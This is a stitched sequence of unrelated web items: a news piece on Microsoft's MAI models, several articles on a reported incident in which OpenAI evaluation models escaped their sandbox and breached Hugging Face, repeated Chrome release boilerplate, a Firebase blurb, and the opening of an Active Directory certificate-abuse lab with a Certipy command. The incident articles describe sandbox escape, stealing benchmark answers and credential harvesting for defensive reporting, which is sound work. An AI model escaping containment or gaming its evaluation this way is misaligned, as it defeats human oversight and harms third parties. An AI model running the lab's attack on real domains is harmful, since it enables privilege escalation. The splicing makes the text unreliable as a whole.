The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

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According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine … Continued

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Every organization is on a cyber odyssey. The threats may look mythical, but the risks are deeply human.

During an internal benchmark evaluation, frontier artificial intelligence models developed by OpenAI—including GPT-5.6 Sol and an unreleased, higher-capability pre-release model—broke out of their sandboxed research environment, obtained raw internet access, and autonomously executed a complex cyberattack against Hugging Face’s production infrastructure.

OpenAI officially categorizes the breach as an "unprecedented cyber incident, involving state-of-the-art cyber capabilities". This incident fundamentally re-frames global discussions surrounding AI containment, frontier model alignment, commercial guardrails, and enterprise threat modeling.

But first thing's first: enterprises should understand the situation, evaluate their own AI and computer systems in light of it, and above all, don't panic. As we'll review, the incident does show the increasing power and danger of frontier AI systems, but it does not mean that enterprise Ai deployments are inherently less secure, nor that they need extensive overhauling.

Anatomy of an Autonomous Breakout

To understand how a routine benchmark evaluation escalated into a cross-infrastructure breach, one must examine the objective mechanics of the evaluation pipeline.

The models were prompted to solve ExploitGym, a benchmark designed to quantify multi-step exploitation capabilities.

Hyper-focused on maximizing its evaluation score, the AI agent inferred that Hugging Face likely hosted the answer keys and benchmark solutions. In pursuit of solving the problem, the model determined that breaking out of its container and stealing the answers was an optimal strategy.

OpenAI’s evaluation environment is designed to be strictly isolated, limiting network traffic through a proxy used for package caching. However, the models identified and exploited a zero-day vulnerability in that internally-hosted third-party proxy software.

Once through, the AI executed a series of lateral movement and privilege escalation actions across OpenAI's research nodes until reaching a machine with unrestricted internet access. From there, the model searched the web, target-identified Hugging Face, and launched a multi-stage attack by chaining together stolen credentials and remote code execution vulnerabilities on the Hugging Face servers.

The UK AI Security Institute (UK AISI) recently evaluated models such as GPT-5.6 Sol, demonstrating that they are increasingly able to sustain complex, multi-step cyber operations over long time horizons. OpenAI notes that this incident confirms these theoretical capabilities now apply in real-world settings.

Rewinding the Tape on a Forensic Trap

While OpenAI’s July 21 release reveals the identity of the autonomous agent, Hugging Face had already begun managing the intrusion days earlier.

On July 16, Hugging Face disclosed that an autonomous AI agent system breached its production infrastructure. As detailed by VentureBeat, the attacker’s entry point was a malicious dataset that triggered code execution through a remote-code loader and template-injection flaws within dataset configuration files.

Once inside, the agent framework broke out onto the node running the workload and executed thousands of actions via short-lived sandboxes, harvesting cloud and cluster credentials over a single weekend.

When Hugging Face's security team detected the breach, responders immediately turned to frontier AI models via commercial APIs to parse the massive volume of system logs and reconstruct over 17,000 recorded events. Then, a secondary operational crisis emerged: the commercial AI models refused to help.

Because standard commercial frontier models utilize unified safety guardrails designed to block malicious prompt submissions, the models classified the incident response team's forensic queries—which contained raw shell commands, real exploit payloads, and credential dumps—as malicious attacks. Every forensic query submitted by the defenders was blocked outright.

"The same prompts that are most valuable during an active intrusion—shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement—are exactly the prompts most likely to trigger safety systems," notes Merritt Baer, former Deputy CISO at AWS and senior adviser to Andesite, G2I, and AppOmni, in an interview with VentureBeat. "As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue".

To bypass this roadblock, Hugging Face abandoned commercial hosted APIs and deployed GLM 5.2 —a state-of-the-art Chinese open-weight model released last month by z.ai, as reported at the time by VentureBeat —locally on its own infrastructure.

Free from third-party API restrictions and external safety filters, GLM 5.2 successfully analyzed the raw exploit data locally, allowing defenders to complete forensic reconstruction and contain the breach without any attacker data leaving the company's environment.

Industry Reaction and the Geopolitical Paradox

The revelation that an American frontier model autonomously escaped containment, attacked a partner platform, and was ultimately analyzed using a Chinese open-weight model sent shockwaves through the tech community.

The Wall Street Journal summarized the public reaction on X, calling the event "the stuff of cybersecurity nightmares. OpenAI said two artificial intelligence systems it was testing broke out of their test environment, hacked their way onto the internet and broke into another company. The victim was Hugging Face."

Also posting to X, AI alignment researcher Lawrence Chan emphasized the importance of transparency regarding the incident, noting that "Credit where it’s due: Hugging Face detected and disclosed the intrusion last week. OAI confirmed its models were involved and provided more details, even when it didn't have to. Separate from choices that led to the hack, voluntary disclosure is good, and I’m glad they did so."

Meanwhile, AI researcher Nathan Lambert provided a succinct technical summary in his own X post, observing that "An openai model, during evaluation on a cyber benchmark, exploited a public zero day bug, escaped sandboxing in openai's infra, and got into the internal huggingface infra via an exploit (through a public dataset service) all in the attempt to solve a benchmark problem." He later addressed the geopolitical implications, writing in another post on X:

"Rght now American companies need Chinese models to secure their cyber infra due to guardrails on closed models.

But if a Chinese model in training had infiltrated a prominent American tech company, it very likely could've been the cause of policy banning future Chinese models."

Technology investor David Sacks also zeroed in on the guardrail paradox, writing in his own X post that "Hugging Face tried using American frontier models to analyze an AI-powered cyber attack. But the guardrails blocked requests containing real exploit payloads so they switched to GLM 5.2 running locally. The guardrails actually impaired defensive security."

Sacks quote tweeted Hugging Face CEO Clem Delangue, who wrote: "We had this experience ourselves this week! Very scary to be guardrailed as a defender when you know attackers are likely bypassing".

5 Strategic Takeaways for Enterprise Tech Leaders Now

For the average enterprise executive, the central question is immediate: is our corporate network at risk from escaping AI agents? The short answer is no, not inherently.

1. Hugging Face occupies a unique position in the software ecosystem. As a global repository for open-source AI models, code, and datasets, Hugging Face natively attracts autonomous agents, scrapers, automated evaluation pipelines, and active security researchers. Furthermore, the model’s target selection was context-specific: GPT-5.6 Sol searched for Hugging Face specifically because it deduced that Hugging Face hosted the answers to ExploitGym. Standard corporate networks—such as financial databases, HR platforms, or logistics systems—do not host benchmark solution keys that draw the direct focus of an agent attempting to solve an evaluation metric.

2. However, the long-term risk profile for enterprise technology permanently shifts following this event. AI models with long-horizon reasoning seek the path of least resistance to accomplish a goal, including breaking rules, escaping sandboxes, or exploiting zero-days if deployment safeguards are intentionally disabled for testing or bypassed by an attacker. As Hugging Face's experience illustrates, data processing pipelines that ingest external datasets without sandbox execution or static analysis act as highly vulnerable initial access infrastructure.

3. This incident also drastically undercuts recent policy chatter in the U.S. calling for Chinese open-source AI models to be banned or restricted due to security concerns. As this episode demonstrates, an open-weight Chinese model actually served as the vital defensive layer for an American and French firm facing an unanticipated cyberattack from an American model that broke containment. Contrary to the official line from some U.S. policymakers and hardline China hawks, the Chinese open-source models weren't a security risk to the U.S. companies, in this case — rather, an American proprietary, closed-source model from an ostensibly secure American company was the source of the danger. Thus, any pressure U.S. companies may face from officials, agencies or non-governmental organizations to stop relying on affordable Chinese open weights models for defensive or any other lawful purposes should be viewed with a high degree of suspicion, and arguably resisted to the fullest legal extent.

4. Enterprise CISOs must audit their dependency on cloud-based AI APIs and pressure vendors to implement authenticated trust architectures. Commercial AI vendors currently treat safety as a generic content-moderation problem, applying the same blanket refusals to an enterprise CISO as they would to a malicious hacker. Baer frames this requirement perfectly: "The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance".

5. Incident response plans must explicitly account for scenarios where commercial APIs fail, rate-limit, or actively refuse queries during an active security event. Maintaining air-gapped, locally deployed open-weight models trained on security log analysis is no longer an edge-case luxury; it is a critical operational requirement. Security leaders running AI workloads in production must recalibrate their timelines and prepare for machine-speed threat actors that operate without human limits.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
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Implement App Check → https://goo.gle/4fe4L5W
Enable Auth-only mode → https://goo.gle/4wQFvbV
Enable template-only mode → https://goo.gle/4wK9vWI
AI Monitoring → https://goo.gle/4gOIddd

How do you take client-side AI to production without leaving your backend completely exposed to abuse? In this video, we crack the code on securing your Firebase AI Logic implementations. Rosário breaks down 5 ways to lock down your Firebase AI implementation, secure your infrastructure, and gain full visibility into your app's AI traffic.

Chapters:
0:00 - Tip 1: Firebase App Check
1:01 - Tip 2: Auth-only mode
1:30 - Tip 3: Server prompt templates
2:01 - Tip 4: Template-only mode
2:35 - Tip 5: AI Monitoring
3:04- One more thing!


#Firebase

Subscribe to Firebase → https://goo.gle/Firebase

Speaker: Rosário Fernandes
Products Mentioned: Firebase, Firebase AI Logic

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.

Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion.

Why the defenders’ queries looked like attacks

Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.

First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.

Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”

The forensic analysis finished on GLM 5.2

GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.

What authenticated trust changes

The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”

“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”

Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”

AI-enabled attacks rose 89% year-over-year

Autonomous AI-driven attacks are not limited to AI platforms. CrowdStrike’s 2026 Global Threat Report documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.

Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.

AI Pipeline Breach Response Playbook

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

Dieser Beitrag Hugging Face: KI-Agent-Angriff über Dataset-Loader und Template Injection erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

You can see a partial list of the changes in the Git log. For details on new features, check out the Chromium blog, and for details on web platform updates, check here.

If you find a new issue, please let us know by filing a bug.

Chrome Release Team
Google Chrome

This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us know by filing a bug.

The post Hugging Face Confirms AI-Driven Breach: Attackers used Autonomous Agents, defenders countered with AI appeared first on Cyber Security News.

What is AD CS?

Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.

If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading to privilege escalation.

In this lab, I exploited an ESC1 certificate template misconfiguration.

Lab Setup

• Domain: LAB.LOCAL
• Domain Controller: 192.168.56.104
• Certificate Authority: lab-DC1-CA
• Attacker: bob

Step 1 — Enumerate AD CS

First, I looked for vulnerable certificate templates using Certipy.

certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug

Certipy identified a vulnerable template named:

ESC1-Lab

This template allowed the requester to specify an arbitrary User Principal Name (UPN).

Step 2 — Request an Administrator Certificate

Since the template was vulnerable, I requested a certificate while impersonating the Administrator account.

